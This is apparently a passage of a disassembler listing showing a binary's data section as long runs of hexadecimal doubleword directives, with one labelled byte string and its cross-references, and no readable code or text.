		dd 0A5AADA36h, 0B3F2D8C0h, 305C086h, 901DAF3Ah,	0FD9372Dh
		dd 4C6AC00Dh, 0FE915A00h, 0BE6F925Bh, 0A6D30018h, 0C1CAC735h
		dd 9F009E1Fh, 1324A1F5h, 0E9BA5CC9h, 323424h, 1D66E667h
		dd 0A0D02B2Dh, 1619F600h, 0AAF0C8C9h, 91AC0275h, 9E3D3F36h
		dd 0A15BA880h, 5600816Ch, 885876Bh, 0BE6994h, 0AF90BB06h
		dd 492DF6F1h, 85C1B42Eh, 2684003Dh, 0D7EE944Eh,	0F10100C5h
		dd 0DEADBAC7h, 0E301A7F4h, 92FE62A2h, 88302150h, 0EC4E00C8h
		dd 8B27D6DFh, 0C3008156h, 1062BF07h, 55A9206h, 0E26854F9h
		dd 0B059C780h, 0EEB2D734h, 3093C201h, 2987CF5Bh, 0AF0840D2h
		dd 9A980C15h, 0DE10B752h, 75FFD200h, 44ABAD91h,	40920062h
		dd 0AAEF126Ah, 903D655Fh, 48F98F0Ah, 59C1DDCBh,	8856D797h
		dd 4EF9C821h, 7CD0DECh,	32EC99DCh, 0F5FA063h, 5700B552h
		dd 0CFE331DAh, 1207E0Eh, 0C76FBD06h, 803DF741h,	52466364h
		dd 0E0170Bh, 0D502881Ah
		dd 0ADB397F5h, 560085EEh, 3D7D2F03h, 0D0844Eh, 49E850B9h
		dd 27AB0F07h, 989C3738h, 0F1401A12h, 0E5F3A35h,	303B7900h
		dd 5761F636h, 31C7E600h, 94B12F75h, 0D7FD0726h,	50FB02F4h
		dd 5921AEF8h, 80547939h, 0CACCEF46h, 46FA0ADh, 0D30C7B47h
		dd 0F14080DEh, 0E8762C65h, 4DCDEB1Dh, 0BD3AEFC0h, 0E3141h
		dd 192D59F7h, 0A18D2799h, 0EA688200h, 0E4F853D8h, 0FEC70C54h
		dd 0D3BE7D15h, 0D7A2EF02h, 8EEA08B7h, 2ED2A0C4h, 3D8082h
		dd 0DBA8B488h, 0B8C968F1h, 56BF6525h, 0B55132A6h, 0CFF4B8A0h
		dd 130308D3h, 0C33FC7DDh, 72078DEh, 355F98D4h, 2FDF302Bh
		dd 0C900C174h, 22CD190Ah, 7761F5Dh, 5FB9F201h, 38CF46D3h
		dd 0ED885400h, 0DAEB4BFh, 8EC503B2h, 57BC81E5h,	0CA6FEC80h
		dd 3C696C00h, 277DEB75h, 0D3B007Bh, 0CD66B076h,	650007A8h
		dd 0EAF90BC2h, 1D97198Ah, 4037F66Eh, 8701FE28h,	0AE38F4E9h
		dd 35050067h, 925E0F9Eh, 63C4FF6Ch, 8AB801B2h, 0D964A0B3h
		dd 0F09BD09Dh, 3873CD00h, 0E5CA1466h, 395C0069h, 641D0122h
		dd 9034385h, 48742954h,	7AF08F26h, 38DDEA41h, 2B3904DFh
		dd 0FEEF8280h, 35AC8AECh, 2DAE7E00h, 0B087328Bh, 0A7E201F8h
		dd 44630DE1h, 65F7DCEAh, 0F5E0D2EEh, 0E3DFB200h, 0C125CDA4h
		dd 5216019Bh, 0A76EAE7Bh, 62D0201Fh, 202C352Eh,	0C80DED0Ah
		dd 666FAF00h, 0F3D4B6h,	0F005DA55h, 38442B3h, 0D73EC97Bh
		dd 0AEA20EBCh, 110220CBh, 0E6A833h, 0CD251418h,	49BD36D8h
		dd 5180C500h, 52452C72h, 1C9100C8h, 0D37BA60Fh,	471F435Dh
		dd 7C40661h, 0D0C0B05Ah, 0B23D44h, 1CE196D1h, 0F1FD6291h
		dd 4A078CB0h, 666D1E05h, 0FFF7F230h, 27DB003Bh,	68E78BFAh
		dd 6939AC2Fh, 0DCD280B6h, 1AECC672h, 5B64001Bh,	9D29BF24h
		dd 38006C26h, 582E5F5Ah, 0DE8AF1h, 0BBD31341h, 6B8F098h
		dd 0C6E15D00h, 6D0EC493h, 7EF9078Fh, 40D39A8Eh,	0AFB64573h
		dd 0E6D9F801h, 3403639Dh, 1E7D1C4h, 0AA47C38Dh,	20E55978h
		dd 83002611h, 0FCCC9087h, 0AB3BD4h, 27CE1FDFh, 2DC20D59h
		dd 83003871h, 73EB0345h, 42F73Ch, 0C7DB750Fh, 6946CDD6h
		dd 18725400h, 0BAE34031h, 2930C041h, 976AEE6Bh,	667DE800h
		dd 0C7624B28h, 67743Eh,	2459CCB5h, 8846B0E3h, 0F9845200h
		dd 1848AE3Ah, 74F80363h, 25C8320Ah, 0F84A67E9h,	49018B3Dh
		dd 4C3FB01h, 92F01C27h,	9F6200C2h, 0AF3C22BDh, 3307297Fh
		dd 0D44A7CF9h, 911549E0h, 9B7300E1h, 611CD867h,	0C95841DDh
		dd 5D560087h, 7D3B5FF9h, 0F1B00E1Eh, 0E7A090E8h, 0CFD454E2h
		dd 0E6753805h, 64C17C45h, 0B4D4F699h, 8F790E0Fh, 43401162h
		dd 0DB0AA53Ch, 60EB1BE6h, 5A0AED94h, 8C77E796h,	91B2F3C0h
		dd 0B874842Ah, 33EC7C00h, 353B5E77h, 509866h, 81A01763h
		dd 5B1A2DBh, 6DBCCE0Fh,	0C1188047h, 8EE319h, 0B5E8FC3Dh
		dd 56393059h, 1E1D2200h, 3AA75A43h, 29140026h, 3D3C37D2h
		dd 510088B1h, 50ADAFAAh, 0E89483h, 58C50271h, 1677A80h
		dd 0E6C36200h, 0CC2EF3B1h, 4C5B00BDh, 837FBEA2h, 890F691Dh
		dd 8754BA99h, 91F09385h, 0F2EAA259h, 73400B6h, 44958802h
		dd 7C90EEABh, 89ACF417h, 8596001Fh, 9942D900h, 1351467h
		dd 4033B955h, 0D4165DA0h, 0C5005E47h, 52858360h, 3BB6CB8Eh
		dd 2E00790Eh, 0B3BCED3Ch, 0D813FC32h, 0A00147BBh, 0FFB49181h
		dd 5CF560h, 0BFEB517Ch,	0E50CF83h, 93F39600h, 0E85FC44Dh
		dd 26730095h, 6E77269h,	25045071h, 0CC3839ACh, 64B00CC0h
		dd 0C34D0086h, 0AF804948h, 57010FFCh, 7A2C0916h, 0D6D4ACC7h
		dd 0CD770F76h, 0E3C0F945h
aZI		db '§µ¨¿',0             ; DATA XREF: ___:0043D318o
					; ___:0043D330o
		db 0E5h, 8Dh, 3Ch
		dd 0FC6F8210h, 6B6E00D7h, 2022842Fh, 79008755h,	4575C817h
		dd 7133FEh, 0EE906BE3h,	0EC915FBCh, 0F83C6E07h,	42C0FAE1h
		dd 0CDDEB9h, 0A434A2B8h, 0BA7FFC0Fh, 65316000h,	7F4DAB7h
		dd 0A2D20086h, 0FCCE8A51h, 2400701Fh, 28378926h, 6387DBh
		dd 787BDE3Ch, 9EA9C348h, 0C1018275h, 0E5F5406Ch, 0A8C0C4A0h
		dd 5273B5h, 22BFCE9Bh, 284FF1DFh, 53E1D600h, 4CE4120Eh
		dd 0B9EC0Fh, 752FF02Dh,	0B8CC1D49h, 85B610C1h, 33C01A38h
		dd 3E0112ACh, 22E400DBh, 0F9B7D24Fh, 43139202h,	0C0E2386Dh
		dd 3BD4E7Ch, 0B33F5FA8h, 0C7A88DF1h, 52413E3h, 1D00489Eh
		dd 18AF02Eh, 92A80099h,	1AC0EE10h, 0BF78E79Ch, 0C446D500h
		dd 1943B3EBh, 7CB057h, 4F311E73h, 0EDC26DD6h, 74795Ch
		dd 6141EC1Ah, 39197A1h,	44517482h, 14B05666h, 7301069Ch
		dd 6A38D469h, 0FC212113h, 4C57DCh, 0C93BF4C7h, 0FDEF1550h
		dd 30F70201h, 7374241Dh, 24AD4EDCh, 3CE4F941h, 0A6B7F08Eh
		dd 7FC7D921h, 1D48871Fh, 175094FCh, 0F0EFB998h,	38917F32h
		dd 8A24552Eh, 0FE053B0Ch, 80F2400Bh, 15541D48h,	82600500h
		dd 0F81B0373h, 0E3913EACh, 0EFE0FD03h, 80B7E88Bh, 18903D21h
		dd 0D865D31Eh, 3943E201h, 8B30F498h, 88E6E7h, 77131723h
		dd 43944FCCh, 48D75900h, 9E71BC7Eh, 6E40152h, 0BB8807EFh
		dd 34E7E02Fh, 7D246600h, 72F02CC7h, 0EAD4B0A7h,	39487FDFh
		dd 8F80CAC3h, 0CF9B041Fh, 4B00B4DDh, 8CB35F12h,	49543Ch
		dd 0BF7A1EC4h, 2436DB14h, 0A82EEF07h, 0BE5070D4h, 163595h
		dd 3E967D53h, 0E18518A7h, 64292026h, 93028D1Eh,	0E0FDF570h
		dd 1FAEE81Fh, 0CAEBA73Ah, 98132Bh, 0A8DE2A41h, 7F1648A3h
		dd 0F0216064h, 0A8405857h, 73ACA76h, 691C1E54h,	0B9FC607Eh
		dd 10028175h, 711FD511h, 0AFFFE0E6h, 0D91625A8h, 0C2CE5884h
		dd 5859E336h, 0FD00B81Fh, 522AA106h, 672E1C6Ch,	0A394C076h
		dd 0EA553082h, 3CBF093Ah, 812100C8h, 0BD3C7FC6h, 0A3E9002Eh
		dd 54B9F0AFh, 0DF00B747h, 50B8DEDDh, 18D10157h,	90302D88h
		dd 88A05A52h, 2CFC7E76h, 0CEDE3500h, 0DD6C0949h, 0A3D40053h
		dd 9693826Dh, 8278D5Ch,	0F78070Eh, 674809A0h, 0D88F0099h
		dd 1A5E9D61h, 0D300D174h, 0DD0D6625h, 7CE0776Ch, 82351B10h
		dd 0A4C070CFh, 43F0880Ah, 20D5CA00h, 4598E5FDh,	0DAFE0058h
		dd 324C7EF2h, 8700860Ch, 63E69B22h, 12ED8D2Ch, 905E9EC0h
		dd 45BBD1F0h, 0A0A7BF00h, 0BD8F5DCh, 0E4AE0074h, 3EE06F59h
		dd 4100327Dh, 0A203629Fh, 0A89D8Ch, 42AE5658h, 6911F1EBh
		dd 0BD3B6703h, 0D82F4648h, 0B5ED34h, 592AC5Ah, 0DF471804h
		dd 5501B01Eh, 5EA81000h, 90A2FB35h, 0CAE0068h, 0B504501Ch
		dd 8D00C0ACh, 0C302EDBAh, 0ED80230Eh, 487FDCh, 0F3B7FDCAh
		dd 87308F6Bh, 0BB906A75h, 0FC590100h, 0E4EE15B1h, 5FC9093Dh
		dd 0DCA00EF4h, 67CE19BDh, 31EFD000h, 0C79F6D96h, 1B070A53h
		dd 0C41E40h, 0CD6978E0h, 6C3AA2A5h, 2DDC0096h, 0F6977F64h
		dd 0D7E8C09Dh, 2E6A2482h, 0A630AAEEh, 18C4C4C6h, 12290049h
		dd 0B389F747h, 9D072702h, 0C1EE2A61h, 0C0D7DE70h, 39738Fh
		dd 4B407879h, 0BC57181Eh, 2C7F0EFh, 4900E8ECh, 5F63E7B7h
		dd 4E35FFh, 0C87906B6h,	0FEE525FDh, 0C0A82000h,	93EAF294h
		dd 401500CEh, 0CFF7FB05h, 0EF00D6E4h, 43B6DF71h, 3F24A9BAh
		dd 17045BFh, 7D7F06C2h,	0E8EF2B7Eh, 887F7413h, 0CDCB421Fh
		dd 9B8D8100h, 0A9B3C9h,	0B1E8DD37h, 0C7228BB4h,	0F41353Ah
		dd 80D73907h, 170D302Fh, 6082001Ch, 4EE4817Ch, 2001A24Ah
		dd 4CB0DEC3h, 0D8E2806Eh, 0D1C80B4Ch, 1803DDA9h, 83BDCC18h
		dd 1BF01041h, 3600F01Eh, 80C61D5Eh, 3A2E0A11h, 7B2D4161h
		dd 50DB6027h, 85F6967Ch, 94E3AB00h, 0F19703E7h,	70340335h
		dd 991BA9E2h, 37AD75E0h, 6461FF75h, 622A1320h, 0BB5A5D0h
		dd 0E30EEF2Fh, 7A826820h, 3C906628h, 1724F21Ch,	0AB2DBD40h
		dd 0C2F67Ch, 0A1CF2562h, 322DCB6h, 9A4A8212h, 373EE201h
		dd 0CEC95795h, 22787C0h, 0F98B5B6Ah, 90D05C3Ah,	0D4C458h
		dd 46EB0AB0h, 181B5A90h, 18B8BFE1h, 0CA00A152h,	65FB7221h
		dd 60258B30h, 0DACB9884h, 781D6FB5h, 0CD00C489h, 4D339C2Ch
		dd 0B05B5Eh, 0E2933710h, 6C9883B2h, 5409287Eh, 812B6C7Dh
		dd 15BAE954h, 951BD0h, 21B76A08h, 4380A252h, 3591AE00h
		dd 8C7D613Dh, 39320BEAh, 48E09E48h, 730507C1h, 0D2D583BCh
		dd 104DFF03h, 3CB6B0F7h, 8F30004Fh, 0DF9389A7h,	6001682h
		dd 0E184A1FAh, 6383C8h,	57713F64h, 4C91C177h, 457AC5E8h
		dd 88D0B660h, 58C91A5Bh, 0E5007B94h, 465A7CCFh,	0BC0050F1h
		dd 0ECAFA4E9h, 24838E08h, 91CE3A7h, 0E0607629h,	92006678h
		dd 2E349DD3h, 0CB05BFh,	0DED04ACAh, 0F012EA67h,	6CC3CCE5h
		dd 0E8F73Ch, 0B99E1340h, 1F4877h, 815A22DEh, 9CEFE92Dh
		dd 0DDBEAA00h, 486D6524h, 0F777ADh, 1A21FBFDh, 822ABF23h
		dd 0E5DF661Dh, 0BA81B25Eh, 6AF5438Ch, 4F7597D8h, 18EC14h
		dd 27C385CEh, 3D701BDDh, 4880AC9Ah, 6BF81C11h, 0C10068E3h
		dd 9BAE5E51h, 0E0DC4F34h, 0E330FCCh, 3A200710h,	4246550Fh
		dd 7417663Ch, 249CC501h, 0CA951E4Ah, 0A801C832h, 5B591D43h
		dd 0CD04E1DBh, 421820C8h, 72891500h, 0F9EDCCE4h, 454A009Fh
		dd 53B591C3h, 0B01F61Ch, 32F4D3D9h, 8864FCD2h, 8B1916FAh
		dd 9208C0ABh, 9300DECBh, 7AACCA73h, 1D49BD4Fh, 409937A5h
		dd 0B2EC9E9Bh, 0D9095F5Bh, 0E1F3B80Ch, 20FCF6E8h, 7AF0E6h
		dd 3579896Eh, 0A2839A4Dh, 0CF2A2E00h, 128CA86Bh, 0DA680077h
		dd 2B5969C2h, 6E00FFD1h, 16F02DD3h, 58D013E4h, 88009409h
		dd 52C6189h, 0E7093772h, 0E075F0BCh, 1D3EEACCh,	3DFEF8h
		dd 76167D04h, 0CF7C8E02h, 1B76C00h, 0FAC3E220h,	0C8060069h
		dd 4959C472h, 833F3989h, 99B400BEh, 9A96EC7Bh, 332E0042h
		dd 679BE965h, 69703F0Dh, 0D2080C98h, 591856h, 0F709F6A6h
		dd 7660D8D3h, 5BF47789h, 4F4A54h, 0E11F8C80h, 0A124455Eh
		dd 0D078C76h, 0BF63D271h, 0D01EE099h, 0ADF5283Eh, 0C42CA0D8h
		dd 1F2C726Bh, 0F99EAE35h, 3D3EF000h, 920DC247h,	0CB086102h
		dd 58E812CEh, 75C01428h, 810080DAh, 0A0B6B3D5h,	0CF0AA402h
		dd 0D84AC1A5h, 0F6BC6D02h, 38186172h, 0A05AE343h, 84F511h
		dd 7B4687FEh, 61D30B49h, 0A7076B76h, 0A8DAA296h, 7806C09Eh
		dd 70FE8BD6h, 90CF3C9Ah, 394BD487h, 0F97BC235h,	0B695A080h
		dd 0DE07EE87h, 3E5F668Fh, 99056C70h, 5A5C00AEh,	0F3D2C33Ah
		dd 17000FFFh, 0A5A9CB21h, 0C7B03h, 45B4BA28h, 575CE26Ch
		dd 0FA85A800h, 795CFAEh, 0D0170FBBh, 78204571h,	6CA5D9D7h
		dd 1CA4763Bh, 0AF907D9Ah, 0D15C8A00h, 0D52DB1Ah, 0B0B67B00h
		dd 9E1E77F7h, 0ED9D0049h, 0A361B46Bh, 317472EEh, 6270F400h
		dd 971F3AD5h, 7F190FB5h, 84439844h, 52F27ED2h, 2F9F4D01h
		dd 1FE389E8h, 0C1C86770h, 3A5958CFh, 57E5F002h,	0C6291A00h
		dd 28903F95h, 0FE501677h, 5692031Bh, 62F8E6B8h,	0E900C9B1h
		dd 0F8B66BD5h, 73DBD05h, 2A8F94ABh, 4F7E6765h, 3FF90B20h
		dd 0C600B250h, 622EA737h, 732449E0h, 0A0DB00CDh, 3F5B63C4h
		dd 2C009F4Ch, 72613382h, 70102F4h, 0EF17F971h, 0FA03E0AAh
		dd 0FE09763Ch, 6A8A3Bh,	24C7D7A4h, 0C310038h, 592720ACh
		dd 4500DD06h, 0C9D4DECFh
		dd 14ECB2Bh, 0ED2E05C3h, 0CEC4EED7h, 0A34C1CE8h, 808FA439h
		dd 0D1048E0Dh, 0B80FC967h, 0FADF0320h, 45EE66DAh, 0E14099F2h
		dd 3F00F597h, 0E6A819A2h, 4E957BBEh, 0ADB800DFh, 3CE0C1C9h
		dd 2D14939h, 0A39331E8h, 0C3D56280h, 199A032h, 365241Bh
		dd 0CB5E07C0h, 192761ACh, 168B6055h, 7903817Ch,	3B9D26C9h
		dd 0A86DF0FEh, 7F5E00E7h, 1A4A5BCBh, 7100EBE3h,	0C0C6ABB5h
		dd 13C168Dh, 8CA2509Eh,	60FDF50Bh, 0D5EC17EAh, 592CF0Fh
		dd 9CC1A7CEh, 741C8AF0h, 4BF100BAh, 29451584h, 0DB2811E0h
		dd 0D4308591h, 4650F0C3h, 85C52E79h, 8F2006Ch, 80A981A1h
		dd 87ADDE00h, 4D13049Ah, 0C1B50094h, 9FDB3B9Bh,	5300956Dh
		dd 10ACDF0Ah, 0A4D551h,	0EFD0D8B1h, 2EFCBACAh, 0C2327003h
		dd 9028CD1Ah, 32D05ECh,	237DF1AEh, 0F698E007h, 0A026CFC7h
		dd 221294CBh, 4A12C300h, 8B847h, 67DD0E2h, 0C784304Bh
		dd 18F68300h, 61BA10B4h, 0C00395B2h, 0DDA87B02h, 2730D3B5h
		dd 1F28DC98h, 833B0071h, 0F7421347h, 0C894B50Dh, 0CEDC5D00h
		dd 0FA95A67Dh, 94A80F46h, 0DFA75510h, 0E0613F79h, 0E87A5DAAh
		dd 5F1D52FFh, 1A807826h, 3A58A045h, 0F7FE11h, 0A2234980h
		dd 602804BFh, 0E56EF50Eh, 4B07014Eh, 9160FCB0h,	0B5A25AAh
		dd 5FF6BCE0h, 59D01D12h, 9D470400h, 65EABDh, 0E9E7C84Ah
		dd 0CF50AEB5h, 77B0FF00h, 0BCBB9B7Dh, 96720018h, 764CE31Fh
		dd 27026C0Ah, 0A050876Eh, 799468A6h, 0CE1326D8h, 339A02FCh
		dd 68C8D59Fh, 1F00236Ah, 54AA227h, 2AF5C4h, 0AFAB45EFh
		dd 676C822Bh, 0BD795900h, 0A0E557C1h, 0D79A2808h, 5E37BE4h
		dd 9BB39CEh, 83D0004Ah,	0CA8825Bh, 95F30300h, 0B1FCA48Fh
		dd 0C73B01FFh, 8DA6167Ch, 9A4EF0CCh, 5A995200h,	22A34875h
		dd 0ED210056h, 0B0C83507h, 0CD0FFB66h, 3F652562h, 241E5793h
		dd 24363CC0h, 43F279h, 9759EE72h, 901F167Fh, 14D25824h
		dd 407ACB89h, 250CCA4h,	654B67A9h, 384055EEh, 8203C86Dh
		dd 0AFB4D4CEh, 3037E8F1h, 8EAE0069h, 0A85E48CBh, 720015A0h
		dd 78A356DDh, 0B0C743h,	506D3C2Ah, 48D444B5h, 5400CD4Fh
		dd 0B9E23655h, 79AB00BEh, 0D0A99C99h, 0E827662Fh, 8A9090F9h
		dd 13A89854h, 0E99599h,	0CFAD4499h, 584CAF6Ah, 0F5190072h
		dd 92202341h, 0EA730007h, 2AFFA225h, 0FE0398FCh, 0A4BD49F6h
		dd 0A592C868h, 888C07BFh, 0BE9151h, 1B38AFA6h, 0FD49A39h
		dd 80625076h, 0E3492B6Ch, 0AB7C0021h, 959DBAE7h, 1123D10h
		dd 8480A04Fh, 7386AC40h, 0B89462h, 0F3F9E3Bh, 420B7E7Fh
		dd 871B76F2h, 638F027Bh, 0F0E153A0h, 1D316DE5h,	0CFFBF6B5h
		dd 0ECE09EBFh, 9596CA1Ch, 58CDE800h, 1F1381FEh,	2EF0038h
		dd 4ECC54D6h, 324E7D2h,	3B0F3BB8h, 675200B4h, 2DD1007h
		dd 5AF535EFh, 0B080E877h, 0DA41D8D0h, 0D60EF1FCh, 40690C9Fh
		dd 93C2C975h, 77CF0218h, 0D5909D48h, 8A543DC0h,	9BCE622Eh
		dd 0C0C2A93Dh, 5E9BDA00h, 0A5891Ah, 41248B98h, 0CC158E34h
		dd 0FC00EB4Bh, 99E884CFh, 237C2Ch, 0BCA50BEDh, 0F32A3AEEh
		dd 301E9F0Bh, 0C3F80392h, 17B880B2h, 62BC0119h,	0D8678DECh
		dd 0DF9E2010h, 3039AF0h, 6E7E2652h, 0B245C0E2h,	0C01400EAh
		dd 26BE7CCh, 2E003AE0h,	6EBFC8FBh, 5F652h, 16206C54h, 7DF3B031h
		dd 0F0CD8200h, 42EC2365h, 4829003Ch, 5C04AF4Ah,	41002C32h
		dd 0FB8E02D1h, 1D68846Dh, 404EE637h, 43A1F349h,	3800BCE9h
		dd 5909D74Bh, 1691C213h, 0FCDA4Eh, 0E7B55871h, 3900AEA2h
		dd 0CD223895h, 0B1CA0A4h, 0DC6CCFC5h, 37BBCCC0h, 63873Bh
		dd 3FD3E39Bh, 0F8FFC67h, 0CDD2227Ch, 65FBED41h,	0DC5C21ACh
		dd 6C7C2BCAh, 0B8764B00h, 55B7D9DEh, 34211EA4h,	164E40D6h
		dd 7C955794h, 81CB8200h, 0BD682EC5h, 0EF6D0E3Fh, 33E05BE5h
		dd 9C1EB142h, 4045B800h, 0CAC769F5h, 5C3CEAA3h,	0BA00D2AEh
		dd 876356D0h, 2390E30h,	44F380C8h, 0FEECF025h, 0A0090022h
		dd 1E2A8611h, 400A799h,	0ADE78CC6h, 0B4F26461h,	0B5EB0050h
		dd 0C8C9D280h, 304CAB00h, 6E3AC6ACh, 16A0000Bh,	0E99642C7h
		dd 0F8733E9Ah, 88E02230h, 0B937F3h, 0DD61447Bh,	951D7F4Ah
		dd 0C2A26C00h, 6474F20Dh, 0E7160015h, 0F84EBD04h, 0E85C65DAh
		dd 4A4C1D76h, 6EB71E02h, 1175605Ah, 0C10A0047h,	4E7A5EABh
		dd 9C0E66C0h, 208C8031h, 2CFB10A6h, 0D67100ECh,	0A8B477F2h
		dd 0C000AD3Ch, 0D2099D11h, 9ACACC8Bh, 0CF8E1200h, 72E80E19h
		dd 201EA227h, 0C7C32C3h, 0C4452505h, 4833088h, 240BB8AFh
		dd 0E58501B4h, 8627DBC6h, 9D2BF873h, 2348DE17h,	44C9FD00h
		dd 0F4B147h, 0A0539C76h, 9234EE52h, 2CDEEF6Ah, 19C9A103h
		dd 6480C512h, 0F011A1Dh, 2563758Bh, 78299C7h, 4C56A0A9h
		dd 22278424h, 667C9007h, 96AE00A3h, 0A4309DD9h,	0BC041228h
		dd 3274FE65h, 6838A0h, 8EC1A98Bh, 67FAE8Ch, 2C146039h
		dd 0BB9000F0h, 79D0E692h, 30499A03h, 0F0CA74C2h, 299336h
		dd 2DE4B034h, 86B5B6C7h, 0B8908516h, 0E2C5701h,	59E8A7B3h
		dd 0DAFE00ADh, 29CCF98Dh, 3D006E05h, 82091E18h,	0D90E1Dh
		dd 0E824F3A1h, 3A67AD37h, 79E57600h, 80F06B21h,	0FCFB001Eh
		dd 3205A71Ah, 3600ED4Eh, 5B461882h, 76CB34D9h, 0CDF83A2Ah
		dd 0C03863Ch, 5472760Fh, 0C04B24BFh, 49C1667h, 0CD9BDD00h
		dd 0DBB68C63h, 37470E14h, 0DE7F6DD8h, 0DA81FA71h, 0CDE5875Bh
		dd 0A034E003h, 8D0B52F6h, 8364B533h, 0B1B3F1D5h, 48F0C4C6h
		dd 2C8703A1h, 0F9DC0FA8h, 3D2617A0h, 10AB6200h,	0E8C54EFCh
		dd 28E00015h, 7E04BE3Eh, 241EF78Bh, 0B6C050A9h,	378C736Ah
		dd 7F7C001Fh, 83D9CAD2h, 503E5E93h, 0C192009Eh,	72658FBh
		dd 354F0376h, 0E17FFC62h, 7E4C3C98h, 0DD8EE800h, 287029F0h
		dd 2DC10037h, 41923F23h, 9100325Eh, 0E62E6802h,	51C9F8h
		dd 1A7CC842h, 63E2CA9Ah, 79067800h, 4FCF6533h, 93F0067h
		dd 0D98A68F1h, 0C0006D16h, 0DF3A935Dh, 501ED71h, 64EF78F9h
		dd 3F00BBC2h, 0F67E49DEh, 7A61FA8Bh, 0ACD988Ch,	0B9BEF331h
		dd 681003A0h, 0BB98D481h, 282C290Fh, 0C2007D5Ch, 0AFEE3A3Dh
		dd 0DF2C0060h, 0F6B5976h, 5D7CE07Dh, 822D477Fh,	4D5CA5h
		dd 0B52B5CA4h, 0E200A633h, 0D0319367h, 3CDF3DCh, 321BBD8Fh
		dd 8D985584h, 60793B51h, 3D0F5073h, 0C09BA1FEh,	43DE97B6h
		dd 0AD9D00AAh, 12993122h, 0CFF0ABC0h, 0FC143C03h, 8D46496Bh
		dd 0D7C8D802h, 0F80A0799h, 0F25FD201h, 87EC55D3h, 0BE7E00F5h
		dd 69AB06E7h, 0C6009F8Ah, 74FD0B85h, 4C5AE67Ch,	3600F4ADh
		dd 0A9A8FE1Ah, 8A036E68h, 0AF538301h, 0BF73A86Bh, 4D5B0345h
		dd 75DD773Eh, 57A36F98h, 9900CF73h, 0EF416CFAh,	904CF01Ch
		dd 89C005Ch, 7CBE0AF5h,	66005406h, 7BD5DFD8h, 0B6F66Eh
		dd 0B2895F9Bh, 0A6945950h, 0BFFD8B07h, 0CEB00AF0h, 0C2CD20h
		dd 0B4E45114h, 0C15EDAABh, 0A700BB71h, 0FED2E1D5h, 9C15BCh
		dd 28C63E02h, 196CF7B2h, 0F6C15900h, 0A4AA0B5Bh, 0C31302E5h
		dd 706EF381h, 0D3F2D887h, 7F904366h, 3200AABCh,	5CEC9621h
		dd 383BD7h, 794F89D8h, 740A1743h, 230390F8h, 0CA09279Dh
		dd 0D8FFE33Fh, 10FBDBh,	0EF8A6141h, 65387747h, 0AD7724EAh
		dd 0F01417B8h, 0B8A9C9h, 0D13CC357h, 4130B0h, 9FC254CBh
		dd 2AA35E16h, 0B5BC8E00h, 25A20DF2h, 0CF900077h, 0FE86B06Ah
		dd 0D9018321h
		dd 406F10B6h, 0A9408FD7h, 0E614F53h, 745B8597h,	0D900D6F4h
		dd 38EBDEC5h, 9EB832ACh, 9A6C881Eh, 4222DAC0h, 837B48h
		dd 0E2C9E715h, 4F4557BCh, 7D26C5Ch, 57EC7D4h, 12A735F0h
		dd 77B0076h, 24A2013Ah,	0F9002896h, 9A550369h, 0D6793h
		dd 4B3FD066h, 627BA5E1h, 0CCF9343Bh, 3710605Ch,	3E1853A3h
		dd 0AB04F456h, 0C0824D92h, 0F79A8107h, 0A802AF1Dh, 426F7B81h
		dd 39DC3FF4h, 0D1ED00ECh, 0BE5DE8A7h, 0F20BBA4Ah, 0A819B7Ah
		dd 6C877013h, 0D1002F62h, 24CEB9F8h, 73F042h, 0ED0E02D2h
		dd 620395E5h, 7EE9381Fh, 6B75F020h, 0ECCF0026h,	795FBDE0h
		dd 0FA3DFFCBh, 18998043h, 0AB7F778Bh, 60A76039h, 87AE27A0h
		dd 79D62D01h, 9A289D08h, 105265FDh, 0D0F60092h,	0CE1DDF0Bh
		dd 9D018F79h, 8CAD5FBCh, 3A064424h, 0C78C2708h,	0CA0833A1h
		dd 0DED3D400h, 0C08E5B02h, 58C80F4Fh, 860034E5h, 851079EEh
		dd 5008D98h, 0EF674C84h, 313848C8h, 0AE70D19Eh,	0E0C9D9F1h
		dd 0FA26D48Ah, 29009364h, 721A07C6h, 397B05DFh,	0C9AA3Ah
		dd 0CDF98ED1h, 0FE03F779h, 0FDE3075Dh, 0D09683BDh, 62E8B60Ch
		dd 3E69B0A0h, 0F9437080h, 88008FC8h, 55260186h,	14F79B9h
		dd 6173EC8Dh, 0FFE2DC50h, 41B78E0h, 27B0A71Ch, 99C02400h
		dd 8DEF9Dh, 0DADFEC7Ch,	0D64FAC18h, 2EE36100h, 55FC1548h
		dd 35A70005h, 5A0D980Ah, 407C95Ch, 68BD2EC7h, 0A11AE740h
		dd 233C00E0h, 7437C45Eh, 0C5006FE8h, 2E327807h,	7C8CCE64h
		dd 0D9E700F6h, 5AB72292h, 6D0091CDh, 31054AC6h,	3E08E3h
		dd 93C104AAh, 0F9A54588h, 0EA0B61Eh, 0CCF92E18h, 0D66008Fh
		dd 19C85496h, 0C7747169h, 38986524h, 66E1EA00h,	0D301D1h
		dd 6A98DFFh, 43A2F4BEh,	0AAF9A601h, 64C827F3h, 84C71880h
		dd 6CCD8CA3h, 0F59A2B14h, 0D70078A8h, 0B0205908h, 1DA8A778h
		dd 4C4D70BCh, 302027C0h, 0DD59B703h, 0C86BA171h, 304ADD6h
		dd 0C961AB83h, 4903F9A4h, 0FCC331F7h, 5B201CEEh, 68D8FB64h
		dd 40A75112h, 838853Ch,	161D89CCh, 681F61Eh, 0BD2120E3h
		dd 84DBB080h, 2A52FADCh, 6B5FFB0Eh, 1E94F474h, 0BD40FC4Fh
		dd 0BE29709Ch, 532E0750h, 70689572h, 0E4022864h, 0C200F0FCh
		dd 0B442634h, 0BA485Ch,	6AD28F07h, 5FA009BEh, 2FD83900h
		dd 2A40FD76h, 0DB970071h, 855E5396h, 7500E542h,	1CB424D1h
		dd 0ED4762Ch, 0ED0D9A7Ch, 0F026C860h, 417D8820h, 7700F9F8h
		dd 1A76B2Eh, 334B44h, 65B3EC5h,	6504C60Eh, 38932D07h, 4C90ADA6h
		dd 1DB00FD7h, 89DC31h, 0F3FD3397h, 0D20E286Fh, 83A019h
		dd 78449D85h, 1EFC42h, 2D0B48ADh, 0B9716BEDh, 802AF23Ch
		dd 0A7079589h, 0FAFBBA75h, 18FF001Fh, 0D2F6ADA0h, 86EE0213h
		dd 0C5178100h, 78D7F92Fh, 94C00098h, 3F5522B0h,	1501DE44h
		dd 39263184h, 91F49003h, 6FFCC738h, 4DBC904Bh, 1A1C56FEh
		dd 36408A49h, 0D8509C29h, 0CC20127h, 0EC5EA01Fh, 789D405Dh
		dd 44001625h, 99DA7457h, 969856h, 3B2BB64Eh, 5DA39218h
